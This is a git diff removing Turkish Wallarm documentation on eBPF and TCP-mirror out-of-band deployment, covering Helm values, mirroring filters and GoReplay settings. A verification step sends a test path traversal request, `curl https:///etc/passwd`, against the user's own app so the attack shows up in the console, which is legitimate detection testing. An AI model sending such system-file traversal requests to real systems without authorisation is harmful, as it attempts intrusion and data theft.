[cert-manager](https://cert-manager.io/docs/installation/helm/) kurulu olduğundan emin olun. -1. [Wallarm chart deposunu](https://charts.wallarm.com/) ekleyin: - ``` - helm repo add wallarm https://charts.wallarm.com - helm repo update wallarm - ``` -1. [Wallarm eBPF çözüm yapılandırması](helm-chart-for-wallarm.md) ile `values.yaml` dosyasını oluşturun. - - Minimum yapılandırmalı dosya örneği: - - === "US Cloud" - ```yaml - config: - api: - token: "" - host: "us1.api.wallarm.com" - ``` - === "EU Cloud" - ```yaml - config: - api: - token: "" - ``` - - ``, Kubernetes’te çalıştırılacak Wallarm node’unun token’ıdır. - - --8<-- "../include/waf/installation/info-about-using-one-token-for-several-nodes.md" -1. Wallarm Helm chart’ını dağıtın: - - ``` bash - helm install --version 0.10.28 wallarm/wallarm-oob --wait -n wallarm-ebpf --create-namespace -f - ``` - - * ``, Wallarm eBPF chart’ının Helm sürümü için isimdir - * `wallarm-ebpf`, Wallarm eBPF chart’ı ile Helm sürümünün dağıtılacağı yeni ad alanıdır; ayrı bir ad alanına dağıtılması önerilir - * ``, `values.yaml` dosyasının yoludur - -### Adım 3: Trafik yansıtmayı etkinleştirin - -NGINX Ingress controller, Kong Ingress controller veya normal NGINX sunucuları için Wallarm eBPF tabanlı çözümden etkin şekilde yararlanmak amacıyla trafik yansıtmayı etkinleştirmenizi öneririz. - -Varsayılan olarak, dağıtılan çözüm herhangi bir trafiği analiz etmez. Trafik analizini etkinleştirmek için, istediğiniz seviyede trafik yansıtmayı etkinleştirmeniz gerekir; seçenekler: - -* Bir ad alanı (namespace) için -* Bir pod için -* Bir düğüm adı veya bir konteyner için - -Trafik yansıtmayı etkinleştirmenin iki yolu vardır: ad alanı etiketleri veya pod açıklamaları (annotation) olarak dinamik filtreler kullanmak ya da `values.yaml` dosyasındaki `config.agent.mirror.filters` bloğu üzerinden kontrol etmek. Bu yaklaşımları birleştirebilirsiniz. [Daha fazla bilgi](selecting-packets.md) - -#### Bir ad alanı için bir etiket kullanarak - -Bir ad alanı için yansıtmayı etkinleştirmek üzere, ad alanı etiketi `wallarm-mirror` değerini `enabled` olarak ayarlayın: - -``` -kubectl label ns wallarm-mirror=enabled -``` - -#### Bir pod için bir açıklama kullanarak - -Bir pod için yansıtmayı etkinleştirmek üzere, `mirror.wallarm.com/enabled` açıklamasını `true` olarak ayarlayın: - -```bash -kubectl patch deployment -n -p '{"spec": {"template":{"metadata":{"annotations":{"mirror.wallarm.com/enabled":"true"}}}} }' -``` - -#### `values.yaml` kullanarak ad alanı, pod, konteyner veya düğüm için - -Daha ayrıntılı kontrol için, Wallarm eBPF’in `values.yaml` dosyasındaki `config.agent.mirror.filters` bloğunu kullanarak yansıtma seviyesini belirtebilirsiniz. Filtrelerin nasıl yapılandırılacağını ve Wallarm ad alanı etiketleri ile pod açıklamalarıyla nasıl etkileşime girdiğini anlatan [makaleyi](selecting-packets.md) okuyun. - -### Adım 4: Wallarm eBPF çalışmasını test edin - -Wallarm eBPF’in doğru çalıştığını test etmek için: - -1. Başarıyla başlatıldıklarını kontrol etmek üzere Wallarm pod ayrıntılarını alın: - - ```bash - kubectl get pods -n -l app.kubernetes.io/name=wallarm-oob - ``` - - Her pod aşağıdakileri göstermelidir: **READY: N/N** ve **STATUS: Running**, örn.: - - ``` - NAME READY STATUS RESTARTS AGE - wallarm-ebpf-wallarm-oob-agent-599xg 1/1 Running 0 7m16s - wallarm-ebpf-wallarm-oob-aggregation-f68959465-vchxb 4/4 Running 0 30m - wallarm-ebpf-wallarm-oob-processing-694fcf9b47-rknx9 4/4 Running 0 30m - ``` -1. Uygulamaya test [Path Traversal](../../../attacks-vulns-list.md#path-traversal) saldırısını, `` değerini trafiği ona yönlendiren yük dengeleyicinin gerçek IP adresi veya DNS adıyla değiştirerek gönderin: - - ```bash - curl https:///etc/passwd - ``` - - Wallarm eBPF çözümü out-of-band yaklaşımıyla çalıştığından saldırıları engellemez, yalnızca kaydeder. - - Saldırının kaydedildiğini doğrulamak için Wallarm Console → **Events** bölümüne gidin: - - ![!Arayüzde saldırılar](../../../images/waf-installation/epbf/ebpf-attack-in-ui.png) - -## Sınırlamalar - -* Trafiği gerçek akıştan bağımsız analiz eden out-of-band (OOB) çalışma nedeniyle çözümün bazı doğal sınırlamaları vardır: - - * Kötü amaçlı istekleri anında engellemez. Wallarm yalnızca saldırıları gözlemler ve size [Wallarm Console'daki ayrıntıları](../../../user-guides/events/check-attack.md) sağlar. - * Hedef sunuculardaki yükü sınırlamak mümkün olmadığından [Hız sınırlama](../../../user-guides/rules/rate-limiting.md) desteklenmez. - * [IP adreslerine göre filtreleme](../../../user-guides/ip-lists/overview.md) desteklenmez. -* Sunucu yanıt gövdeleri yansıtılmadığından: - - * [Pasif tespit](../../../about-wallarm/detecting-vulnerabilities.md#passive-detection) temelli zafiyet tespiti desteklenmez. - * API Discovery’de API uç noktasının [yanıt yapısının gösterimi](../../../api-discovery/exploring.md#endpoint-details) desteklenmez. - -* Çözüm beta aşamasında olduğundan, tüm Kubernetes kaynakları etkin biçimde yansıtılamayabilir. Bu nedenle trafiğin özellikle Kubernetes içindeki NGINX Ingress controller’ları, Kong Ingress controller’ları veya normal NGINX sunucuları için yansıtılmasını öneriyoruz. \ No newline at end of file diff --git a/docs/latest-tr/installation/oob/ebpf/helm-chart-for-wallarm.md b/docs/latest-tr/installation/oob/ebpf/helm-chart-for-wallarm.md deleted file mode 100644 index 97b758c44d..0000000000 --- a/docs/latest-tr/installation/oob/ebpf/helm-chart-for-wallarm.md +++ /dev/null @@ -1,172 +0,0 @@ -# Wallarm eBPF Helm Chart'ının Wallarm'a Özgü Değerleri - -Bu belge, eBPF çözümünün [dağıtımı](deployment.md) veya yükseltilmesi sırasında değiştirilebilen Wallarm'a özgü Helm chart değerleri hakkında bilgi sağlar. Bu değerler, Wallarm eBPF Helm chart'ının genel yapılandırmasını kontrol eder. - -!!! warning "Sürüm 4.10 ile sınırlı" - Wallarm eBPF tabanlı çözüm şu anda yalnızca [Wallarm Node 4.10](/4.10/installation/oob/ebpf/deployment/) içinde mevcut özellikleri destekler. - -Değiştirmeniz gerekebilecek varsayılan `values.yaml` dosyasının Wallarm'a özgü kısmı aşağıdaki gibidir: - -```yaml -config: - api: - token: "" - host: api.wallarm.com - port: 443 - useSSL: true - mutualTLS: false - agent: - mirror: - allNamespaces: false - filters: [] - # - namespace: "default" - # - namespace: 'my-namespace' - # pod_labels: - # label_name1: 'label_value_1' - # label_name2: 'label_value_2,label_value_3' - # pod_annotations: - # annotation_name1: 'annotation_value_1' - # annotation_name2: 'annotation_value_2,annotation_value_4' - loadBalancerRealIPHeader: 'X-Real-IP' - loadBalancerTrustedCIDRs: [] - # - 10.0.0.0/8 - # - 192.168.0.0/16 - # - 172.16.0.0/12 - # - 127.0.0.0/8 - # - fd00::/8 - ... -processing: - ... - metrics: - enabled: false - ... - - affinity: {} - # podAntiAffinity: - # preferredDuringSchedulingIgnoredDuringExecution: - # - weight: 100 - # podAffinityTerm: - # labelSelector: - # matchExpressions: - # - key: component - # operator: In - # values: - # - mtls-router - # - key: app - # operator: In - # values: - # - mtls-router - # topologyKey: kubernetes.io/hostname - nodeSelector: - kubernetes.io/os: linux -``` - -## config.api.token - -Wallarm Console içinde [US](https://us1.my.wallarm.com/nodes) veya [EU](https://my.wallarm.com/nodes) Cloud'da oluşturulan Wallarm node token'ı. Wallarm API'ye erişim için gereklidir. - -## config.api.host - -Wallarm API uç noktası. Şunlardan biri olabilir: - -* [ABD bulutu](../../../about-wallarm/overview.md#cloud) için `us1.api.wallarm.com` -* [AB bulutu](../../../about-wallarm/overview.md#cloud) için `api.wallarm.com` (varsayılan) - -## config.api.port - -Wallarm API uç noktası portu. Varsayılan olarak `443`. - -## config.api.useSSL - -Wallarm API'ye erişirken SSL kullanılıp kullanılmayacağını belirtir. Varsayılan olarak `true`. - -## config.mutualTLS - -[eBPF ajanından](deployment.md#how-it-works) gelen trafiğin güvenliğini doğrulamak için Wallarm işleme düğümünün mTLS desteğini etkinleştirir. Varsayılan olarak `false` (devre dışı). - -Bu parametre Helm chart sürümü 0.10.26'dan itibaren desteklenir. - -## config.agent.mirror.allNamespaces - -Tüm namespace'ler için trafik yansıtmayı etkinleştirir. Varsayılan değer `false`'tur. - -!!! warning "`true` olarak ayarlanması önerilmez" - Bunu `true` yaparak etkinleştirmek veri çoğalmasına ve artan kaynak kullanımına neden olabilir. Namespace etiketleri, pod açıklamaları veya `values.yaml` içindeki `config.agent.mirror.filters` kullanarak [seçici yansıtmayı](selecting-packets.md) tercih edin. - -## config.agent.mirror.filters - -Trafik yansıtma düzeyini kontrol eder. `filters` parametresine bir örnek: - -```yaml -... - agent: - mirror: - allNamespaces: false - filters: - - namespace: "default" - - namespace: 'my-namespace' - pod_labels: - label_name1: 'label_value_1' - label_name2: 'label_value_2,label_value_3' - pod_annotations: - annotation_name1: 'annotation_value_1' - annotation_name2: 'annotation_value_2,annotation_value_4' -``` - -[Daha fazla ayrıntı](selecting-packets.md) - -## config.agent.loadBalancerRealIPHeader - -Bir yük dengeleyicinin orijinal istemci IP adresini iletmek için kullandığı başlık adını belirtir. Doğru başlık adını belirlemek için yük dengeleyicinizin belgelerine bakın. Varsayılan olarak `X-Real-IP`. - -`loadBalancerRealIPHeader` ve `loadBalancerTrustedCIDRs` parametreleri, trafik Kubernetes kümesi dışındaki bir L7 yük dengeleyici (örn. AWS ALB) üzerinden yönlendirildiğinde Wallarm eBPF'in kaynak IP'yi doğru şekilde belirlemesini sağlar. - -## config.agent.loadBalancerTrustedCIDRs - -Güvenilen L7 yük dengeleyiciler için CIDR aralıklarının bir listesini tanımlar. Örnek: - -```yaml -config: - agent: - loadBalancerTrustedCIDRs: - - 10.10.0.0/24 - - 192.168.0.0/16 -``` - -Bu değerleri Helm kullanarak güncellemek için: - -``` -# Listeye tek bir öğe eklemek için: -helm upgrade --set 'config.agent.loadBalancerTrustedCIDRs[0]=10.10.0.0/24' - -# Listeye birden fazla öğe eklemek için: -helm upgrade --set 'config.agent.loadBalancerTrustedCIDRs[0]=10.10.0.0/24,config.agent.loadBalancerTrustedCIDRs[1]=192.168.0.0/16' -``` - -## processing.metrics - -Wallarm düğümünün [metrik hizmeti](../../../admin-en/configure-statistics-service.md) yapılandırmasını kontrol eder. Varsayılan olarak hizmet devre dışıdır. - -Hizmeti etkinleştirirseniz, `port`, `path` ve `scrapeInterval` için varsayılan değerleri korumanız önerilir: - -```yaml -processing: - ... - metrics: - enabled: true - port: 9090 - path: /metrics - scrapeInterval: 30s -``` - -## processing.affinity ve processing.nodeSelector - -Wallarm eBPF DaemonSet'inin hangi Kubernetes düğümlerine dağıtılacağını kontrol eder. Varsayılan olarak her düğüme dağıtılır. - -## Değişiklikleri uygulama - -`values.yaml` dosyasını değiştirir ve dağıtılmış chart'ınızı yükseltmek isterseniz, aşağıdaki komutu kullanın: - -``` -helm upgrade wallarm/wallarm-oob -n wallarm-ebpf -f -``` \ No newline at end of file diff --git a/docs/latest-tr/installation/oob/ebpf/selecting-packets.md b/docs/latest-tr/installation/oob/ebpf/selecting-packets.md deleted file mode 100644 index c623779cd2..0000000000 --- a/docs/latest-tr/installation/oob/ebpf/selecting-packets.md +++ /dev/null @@ -1,188 +0,0 @@ -# Yansıtma için Kaynakların Seçilmesi - -[Wallarm eBPF çözümü](deployment.md) trafik yansısı üzerinde çalışır ve trafik yansısının kapsamı üzerinde kontrol sağlar. Kubernetes namespace, pod ve container bazında paket yansısı oluşturmanıza olanak tanır. Bu kılavuz, seçim sürecini nasıl yöneteceğinizi açıklar. - -!!! warning "4.10 sürümü ile sınırlıdır" - Wallarm eBPF tabanlı çözüm şu anda yalnızca [Wallarm Node 4.10](/4.10/installation/oob/ebpf/deployment/) içinde sunulan özellikleri desteklemektedir. - -Paketleri yansıtma için seçmek amacıyla kullanılabilecek birkaç yöntem vardır: - -* Belirli bir namespace içindeki pod'ların tüm trafiğini yansıtmak için ilgili namespace'e `wallarm-mirror` etiketini uygulayın. -* Belirli bir pod'un trafiğini yansıtmak için `mirror.wallarm.com/enabled` açıklamasını (annotation) uygulayın. -* Wallarm Helm chart'ının `values.yaml` dosyasındaki `config.agent.mirror.filters` ayarını yapılandırın. Bu yapılandırma ile yansıtmayı namespace, pod, container veya node seviyelerinde etkinleştirebilirsiniz. - -## Etiket kullanarak bir namespace için yansıtma - -Yansıtmayı namespace seviyesinde kontrol etmek için, hedef Kubernetes namespace'ine `wallarm-mirror` etiketini uygulayın ve değerini `enabled` veya `disabled` olarak ayarlayın, örn.: - -``` -kubectl label ns wallarm-mirror=enabled -``` - -## Açıklama kullanarak bir pod için yansıtma - -Yansıtmayı pod seviyesinde kontrol etmek için `mirror.wallarm.com/enabled` açıklamasını kullanın ve değerini `true` veya `false` olarak ayarlayın, örn.: - -```bash -kubectl patch deployment -n -p '{"spec": {"template":{"metadata":{"annotations":{"mirror.wallarm.com/enabled":"true"}}}} }' -``` - -## `values.yaml` kullanarak bir namespace, pod, container veya node için yansıtma - -`values.yaml` dosyasındaki `config.agent.mirror.filters` bloğu, trafik yansıtma seviyeleri üzerinde ince ayar yapmanıza olanak sağlar. Bu yaklaşım aşağıdaki varlıklar için yansıtmayı kontrol etmenizi sağlar: - -* Namespace - `filters.namespace` parametresi ile -* Pod - pod etiketleriyle `filters.pod_labels` veya pod açıklamalarıyla `filters.pod_annotations` parametresi ile -* Node - `filters.node_name` parametresi ile -* Container - `filters.container_name` parametresi ile - -### Bir namespace seçme - -Belirli bir namespace için trafik yansıtmayı etkinleştirmek için adını `filters.namespace` parametresinde belirtin. Örneğin, `my-namespace` Kubernetes namespace'i için trafik yansıtmayı etkinleştirmek üzere: - -```yaml -config: - agent: - mirror: - filters: - - namespace: 'my-namespace' -``` - -### Bir pod seçme - -Trafik yansıtma için bir pod'u, pod'un etiketleri ve açıklamalarıyla seçebilirsiniz. Şöyle yapabilirsiniz: - -=== "Pod'u etikete göre seçme" - Belirli bir etikete sahip pod için trafik yansıtmayı etkinleştirmek üzere `pod_labels` parametresini kullanın. - - Örneğin, `environment: production` etiketine sahip bir pod için trafik yansıtmayı etkinleştirmek üzere: - - ```yaml - config: - agent: - mirror: - filters: - - pod_labels: - environment: 'production' - ``` - - Pod'u tanımlamak için birden fazla etiket gerekiyorsa, birkaç etiket belirtebilirsiniz. Örneğin, aşağıdaki yapılandırma, `environment: production AND (team: backend OR team: ops)` etiketlerine sahip pod'ların trafiğini Wallarm eBPF'in yansıtıp analiz etmesini sağlar: - - ```yaml - config: - agent: - mirror: - filters: - - pod_labels: - environment: 'production' - team: 'backend,ops' - ``` -=== "Pod'u açıklamaya göre seçme" - Belirli bir açıklamaya sahip pod için trafik yansıtmayı etkinleştirmek üzere `pod_annotations` parametresini kullanın. - - Örneğin, `app.kubernetes.io/name: myapp` açıklamasına sahip bir pod için trafik yansıtmayı etkinleştirmek üzere: - - ```yaml - config: - agent: - mirror: - filters: - - pod_annotations: - app.kubernetes.io/name: 'myapp' - ``` - - Pod'u tanımlamak için birden fazla açıklama gerekiyorsa, birkaç açıklama belirtebilirsiniz. Örneğin, aşağıdaki yapılandırma, şu açıklamalara sahip pod'ların trafiğini Wallarm eBPF'in yansıtıp analiz etmesini sağlar: - - ``` - app.kubernetes.io/name: myapp AND (app.kubernetes.io/instance: myapp-instance-main OR - app.kubernetes.io/instance: myapp-instance-reserve) - ``` - - ```yaml - config: - agent: - mirror: - filters: - - pod_annotations: - app.kubernetes.io/name: 'myapp' - app.kubernetes.io/instance: 'myapp-instance-main,myapp-instance-reserve' - ``` - -### Bir node seçme - -Belirli bir Kubernetes node'u için trafik yansıtmayı etkinleştirmek üzere, node adını `filters.node_name` parametresinde belirtin. Örneğin, `my-node` Kubernetes node'u için trafik yansıtmayı etkinleştirmek üzere: - -```yaml -config: - agent: - mirror: - filters: - - node_name: 'my-node' -``` - -### Bir container seçme - -Belirli bir Kubernetes container'ı için trafik yansıtmayı etkinleştirmek üzere, container adını `filters.container_name` parametresinde belirtin. Örneğin, `my-container` Kubernetes container'ı için trafik yansıtmayı etkinleştirmek üzere: - -```yaml -config: - agent: - mirror: - filters: - - container_name: 'my-container' -``` - -### Değişiklikleri uygulama - -`values.yaml` dosyasını değiştirir ve dağıtılmış chart'ınızı yükseltmek (upgrade) isterseniz, aşağıdaki komutu kullanın: - -``` -helm upgrade wallarm/wallarm-oob -n wallarm-ebpf -f -``` - -## Etiketler, açıklamalar ve filtreler arasındaki öncelikler - -Birden çok seçim yöntemi kullanıldığında ve yansıtma üst düzeyde etkinleştirildiğinde, daha düşük yapılandırma seviyesi önceliklidir. - -Yansıtma üst düzeyde devre dışı bırakılırsa, üst düzeyin trafik yansıtmayı devre dışı bırakmada önceliği olduğundan, alt düzey ayarlar hiç uygulanmaz. - -Aynı nesne farklı yollarla yansıtma için seçilirse (örn., Wallarm pod'unun açıklaması ve `values.yaml` içindeki filtreler bloğu kullanılarak), öncelik Wallarm pod'unun açıklamasındadır. - -## Örnekler - -Etiketler, açıklamalar ve filtreler, trafik yansıtma ve analiz seviyesini ayarlamada yüksek derecede esneklik sağlar. Ancak birbirleriyle çakışabilirler. Birlikte nasıl çalıştıklarını anlamanıza yardımcı olacak bazı yapılandırma örnekleri aşağıdadır. - -### `values.yaml` içinde çok seviyeli yapılandırma - -Şu `values.yaml` yapılandırmasını göz önünde bulundurun: - -```yaml -config: - agent: - mirror: - filters: - - namespace: "default" - - namespace: 'my-namespace' - pod_labels: - environment: 'production' - team: 'backend,ops' - pod_annotations: - app.kubernetes.io/name: 'myapp' -``` - -Ayarlanan filtreler şu şekilde uygulanır: - -``` -namespace: default OR (namespace: my-namespace AND environment: production AND (team: backend -OR team: ops) AND app.kubernetes.io/name: myapp) -``` - -### Namespace etiketlerini, pod açıklamalarını ve `values.yaml` filtrelerini karıştırma - -| Yapılandırma | Sonuç | -| ------------- | ------ | -|
              • `values.yaml` → `config.agent.mirror.allNamespaces` içindeki değer `true` olarak ayarlanır ve
              • Namespace etiketi `wallarm-mirror=disabled`
              | Namespace yansıtılmaz | -|
              • Namespace etiketi `wallarm-mirror=enabled` ve
              • Pod açıklaması `mirror.wallarm.com/enabled=false`
              | Pod yansıtılmaz | -|
              • Namespace etiketi `wallarm-mirror=disabled` ve
              • Pod açıklaması `mirror.wallarm.com/enabled=true` ya da trafik yansıtma için başka herhangi bir alt düzey ayar seçilmiştir
              | Pod yansıtılmaz | -|
              • Namespace etiketi `wallarm-mirror=disabled` ve
              • Aynı namespace `values.yaml` → `config.agent.mirror.filters` içinde seçilmiştir
              | Namespace yansıtılmaz -|
              • Pod açıklaması `mirror.wallarm.com/enabled=false` ve
              • Aynı pod `values.yaml` → `config.agent.mirror.filters` içinde seçilmiştir
              | Pod yansıtılmaz \ No newline at end of file diff --git a/docs/latest-tr/installation/oob/overview.md b/docs/latest-tr/installation/oob/overview.md deleted file mode 100644 index 467279a307..0000000000 --- a/docs/latest-tr/installation/oob/overview.md +++ /dev/null @@ -1,44 +0,0 @@ -# Wallarm Bant Dışı (Out-of-Band) Dağıtımına Genel Bakış - -Wallarm, trafiğin aynası üzerinden istekleri inceleyen, kendi altyapınızda barındırılan bir Bant Dışı (OOB) güvenlik çözümü olarak dağıtılabilir. Bu makale yaklaşımı ayrıntılı olarak açıklar. - -OOB yaklaşımı, Wallarm çözümünün ayrı bir ağ segmentine yerleştirilmesini içerir; böylece gelen trafiği birincil veri yolunu ve dolayısıyla uygulama performansını etkilemeden inceleyebilir. Kötü amaçlı olanlar dahil tüm gelen istekler, yöneltildikleri sunuculara ulaşır. - -## Kullanım senaryoları - -Trafik aynalama, OOB yaklaşımının temel bileşenidir. Gelen trafiğin bir aynası (kopyası) Wallarm OOB çözümüne gönderilir; çözüm, gerçek trafik yerine kopya üzerinde çalışır. - -OOB çözümü yalnızca kötü amaçlı etkinliği kaydeder ve engelleme yapmadığından, gerçek zamanlı koruma gereksinimleri daha az katı olan kuruluşlar için web uygulaması ve API güvenliğini uygulamanın etkili bir yoludur. OOB çözümü aşağıdaki kullanım senaryoları için uygundur: - -* Uygulama performansını etkilemeden, web uygulamalarının ve API'lerin karşılaşabileceği tüm potansiyel tehditler hakkında bilgi edinmek. -* Modülü [satır içi](../inline/overview.md) çalıştırmadan önce, trafik kopyası üzerinde Wallarm çözümünü eğitmek. -* Denetim amaçları için güvenlik günlüklerini yakalamak. Wallarm, birçok SIEM sistemi, mesajlaşma uygulaması vb. ile [yerel entegrasyonlar](../../user-guides/settings/integrations/integrations-intro.md) sağlar. - -Aşağıdaki şema, Wallarm’ın bant dışı dağıtımındaki genel trafik akışının görsel bir temsilini sunar. Şema, tüm olası altyapı varyasyonlarını kapsamayabilir. Trafik aynası, altyapının bunu destekleyen herhangi bir katmanında oluşturulabilir ve Wallarm düğümlerine gönderilebilir. Buna ek olarak, belirli kurulumlar farklı yük dengeleme ve diğer altyapı düzeyi yapılandırmaları içerebilir. - -## Avantajlar - -Wallarm’ın OOB dağıtım yaklaşımı, satır içi dağıtımlar gibi diğer dağıtım yöntemlerine kıyasla çeşitli avantajlar sunar: - -* Güvenlik çözümü birincil veri yoluyla satır içi çalışırken ortaya çıkabilecek gecikme veya diğer performans sorunlarını yaratmaz. -* Çözüm, birincil veri yolunu etkilemeden ağa eklenip çıkarılabildiği için esneklik ve kolay dağıtım sağlar. - -## Sınırlamalar - -OOB dağıtım yaklaşımı güvenli olsa da bazı sınırlamalara sahiptir. Aşağıdaki tablo, çeşitli dağıtım seçenekleriyle ilişkili sınırlamaları detaylandırır: - -| Özellik | [eBPF](ebpf/deployment.md) | [TCP aynası](tcp-traffic-mirror/deployment.md) | -| --- | --- | --- | -| Kötü amaçlı isteklerin anında engellenmesi | - | - | -| [pasif tespit](../../about-wallarm/detecting-vulnerabilities.md#passive-detection) kullanarak güvenlik açığı keşfi | - | + | -| [API Discovery](../../api-discovery/overview.md) | + (yanıt yapısı hariç) | + | -| [Zorla gezinmeye karşı koruma](../../admin-en/configuration-guides/protecting-against-bruteforce.md) | + | + | -| [Rate limiting](../../user-guides/rules/rate-limiting.md) | - | - | -| [IP lists](../../user-guides/ip-lists/overview.md) | - | - | - -## Desteklenen dağıtım seçenekleri - -Wallarm aşağıdaki Bant Dışı (OOB) dağıtım seçeneklerini sunar: - -* [eBPF tabanlı çözüm](ebpf/deployment.md) -* [TCP trafik aynası analizi](tcp-traffic-mirror/deployment.md) için çözüm \ No newline at end of file diff --git a/docs/latest-tr/installation/oob/tcp-traffic-mirror/configuration.md b/docs/latest-tr/installation/oob/tcp-traffic-mirror/configuration.md deleted file mode 100644 index 89f0662b8b..0000000000 --- a/docs/latest-tr/installation/oob/tcp-traffic-mirror/configuration.md +++ /dev/null @@ -1,463 +0,0 @@ -# TCP Traffic Mirror Analizinin Yapılandırılması - -TCP Traffic Mirror analizi için Wallarm node’unu dağıtırken oluşturduğunuz yapılandırma dosyasında ([dağıtım talimatlarında](deployment.md) belirtildiği gibi `wallarm-node-conf.yaml`), dağıtılan çözümü ince ayarlarla yapılandırabilirsiniz. - -## Temel ayarlar - -```yaml -version: 4 - -mode: tcp-capture - -goreplay: - filter: - extra_args: - - -input-raw-engine - - vxlan - -route_config: - wallarm_application: 10 - routes: - - route: /example/api/v1 - wallarm_mode: off - - route: /example/extra_api - wallarm_application: 2 - - route: /example/testing - wallarm_mode: off - -http_inspector: - real_ip_header: "X-Real-IP" - -log: - pretty: true - level: debug - log_file: stderr - access_log: - enabled: true - verbose: true - log_file: stderr -``` - -### mode (zorunlu) - -Wallarm node’unun çalışma modu. TCP Traffic Mirror analizi için `tcp-capture` olmalıdır. - -### goreplay.filter - -Trafiğin yakalanacağı ağ arayüzünü belirtir. Bir değer belirtilmezse, instance üzerindeki tüm ağ arayüzlerinden trafiği yakalar. - -Değer, ağ arayüzü ve portun iki nokta (`:`) ile ayrılmış hali olmalıdır, örn.: - -=== "Arayüz:Port" - ```yaml - version: 4 - - goreplay: - filter: 'eth0:80' - ``` - - Birden çok arayüz ve porttan trafik yakalamak için `goreplay.filter` ayarını `goreplay.extra_args` ile birlikte kullanın, örn.: - - ```yaml - version: 4 - - goreplay: - filter: 'eth0:80' - extra_args: - - "-input-raw" - - "eth0:8080" - - "-input-raw" - - "eth0:8081" - - "-input-raw" - - "eth1:80" - ``` - - `filter`, GoReplay’i `-input-raw` argümanı ile ayarlar; `extra_args` ise ek `-input-raw` girdileri belirtmenizi sağlar. -=== "Arayüz üzerindeki tüm portlar" - ```yaml - version: 4 - - goreplay: - filter: 'eth0:' - ``` -=== "Tüm arayüzlerde belirli bir port" - ```yaml - version: 4 - - goreplay: - filter: ':80' - ``` -=== "Tüm arayüzler ve portlar" - ```yaml - version: 4 - - goreplay: - filter: ':' - ``` - -Ana makinede kullanılabilir ağ arayüzlerini kontrol etmek için: - -``` -ip addr show -``` - -### goreplay.extra_args - -GoReplay’e iletilecek [ek argümanları](https://github.com/buger/goreplay/blob/master/docs/Request-filtering.md) belirtmenizi sağlar. - -* Genellikle, VLAN, VXLAN gibi analiz edilmesi gereken yansıtılmış trafik türlerini tanımlamak için kullanırsınız. Örneğin: - - === "VLAN ile kapsüllenmiş yansıtılmış trafik" - ```yaml - version: 4 - - goreplay: - extra_args: - - -input-raw-vlan - - -input-raw-vlan-vid - # VLAN’ınızın VID değeri, örn.: - # - 42 - ``` - === "VXLAN ile kapsüllenmiş yansıtılmış trafik (AWS'de yaygın)" - ```yaml - version: 4 - - goreplay: - extra_args: - - -input-raw-engine - - vxlan - # Özelleştirilmiş VXLAN UDP portu, örn.: - # - -input-raw-vxlan-port - # - 4789 - # Belirli VNI (varsayılan olarak, tüm VNI’ler yakalanır), örn.: - # - -input-raw-vxlan-vni - # - 1 - ``` - - Yansıtılan trafik VLAN veya VXLAN gibi ek protokollerle kapsüllenmemişse, `extra_args` yapılandırmasını atlayabilirsiniz. Kapsüllenmemiş trafik varsayılan olarak ayrıştırılır. -* Ek arayüzler ve portları yakalamak için `filter` ayarını `extra_args` ile genişletebilirsiniz: - - ```yaml - version: 4 - - goreplay: - filter: 'eth0:80' - extra_args: - - "-input-raw" - - "eth0:8080" - - "-input-raw" - - "eth0:8081" - - "-input-raw" - - "eth1:80" - ``` - - `filter`, GoReplay’i `-input-raw` argümanı ile ayarlar; `extra_args` ise ek `-input-raw` girdileri belirtmenizi sağlar. - -### route_config - -Belirli rotalar için ayarları belirttiğiniz yapılandırma bölümü. - -### route_config.wallarm_application - -[Wallarm uygulama ID’si](../../../user-guides/settings/applications.md). Bu değer, belirli rotalar için geçersiz kılınabilir. - -### route_config.routes - -Rota bazlı Wallarm yapılandırmasını ayarlar. Wallarm modu ve uygulama ID’lerini içerir. Örnek yapılandırma: - -```yaml -version: 4 - -route_config: - wallarm_application: 10 - routes: - - host: example.com - wallarm_application: 1 - routes: - - route: /app2 - wallarm_application: 2 - - host: api.example.com - route: /api - wallarm_application: 100 - - route: /testing - wallarm_mode: off -``` - -#### host - -Rota host’unu belirtir. - -Bu parametre joker karakter eşleştirmesini destekler: - -* `*` herhangi bir ayırıcı olmayan karakter dizisini eşler -* `?` herhangi bir tek ayırıcı olmayan karakteri eşler -* `'[' [ '^' ] { character-range } ']'` - -??? info "Joker karakter eşleştirme sözdizimi ayrıntıları" - ``` - // Desen sözdizimi şöyledir: - // - // pattern: - // { term } - // term: - // '*' herhangi bir non-Separator karakter dizisini eşler - // '?' herhangi bir tek non-Separator karakteri eşler - // '[' [ '^' ] { character-range } ']' - // karakter sınıfı (boş olmamalıdır) - // c c karakterini eşler (c != '*', '?', '\\', '[') - // '\\' c c karakterini eşler - // - // character-range: - // c c karakterini eşler (c != '\\', '-', ']') - // '\\' c c karakterini eşler - // lo '-' hi lo <= c <= hi için c karakterini eşler - // - // Eşleşme, kalıbın adın tamamını eşlemesini gerektirir, yalnızca bir alt dizeyi değil. - ``` - -Örneğin: - -```yaml -version: 4 - -route_config: - wallarm_application: 10 - routes: - - host: "*.host.com" -``` - -#### routes.route veya route - -Belirli rotaları tanımlar. Rotalar NGINX benzeri öneklerle yapılandırılabilir: - -```yaml -- route: [ = | ~ | ~* | ^~ | ]/location - # | | | | ^ önek (regex’lerden daha düşük öncelik) - # | | | ^ önek (regex’lerden daha yüksek öncelik) - # | | ^re büyük/küçük harf duyarsız - # | ^re büyük/küçük harf duyarlı - # ^tam eşleşme -``` - -Örneğin, yalnızca tam rotayı eşlemek için: - -```yaml -- route: =/api/login -``` - -Düzenli ifadeyle rotaları eşlemek için: - -```yaml -- route: ~/user/[0-9]+/login.* -``` - -#### wallarm_application - -[Wallarm uygulama ID’sini](../../../user-guides/settings/applications.md) ayarlar. Belirli uç noktalar için `route_config.wallarm_application` değerini geçersiz kılar. - -#### wallarm_mode - -Trafik [filtrasyon modu](../../../admin-en/configure-wallarm-mode.md): `monitoring` veya `off`. OOB modunda, trafiğin engellenmesi desteklenmez. - -Varsayılan: `monitoring`. - -### http_inspector.real_ip_header - -Varsayılan olarak, Wallarm kaynak IP adresini ağ paketinin IP başlıklarından okur. Ancak proxy’ler ve yük dengeleyiciler bunu kendi IP’leriyle değiştirebilir. - -Gerçek istemci IP’sini korumak için bu aracı katmanlar genellikle bir HTTP başlığı (`X-Real-IP`, `X-Forwarded-For` gibi) ekler. `real_ip_header` parametresi, Wallarm’a orijinal istemci IP’sini çıkarmak için hangi başlığın kullanılacağını söyler. - -### log.pretty - -Hata ve erişim günlük biçimini kontrol eder. İnsan tarafından okunabilir günlükler için `true`, JSON günlükler için `false` olarak ayarlayın. - -Varsayılan: `true`. - -### log.level - -Günlük seviyesi: `debug`, `info`, `warn`, `error`, `fatal` olabilir. - -Varsayılan: `info`. - -### log.log_file - -Hata 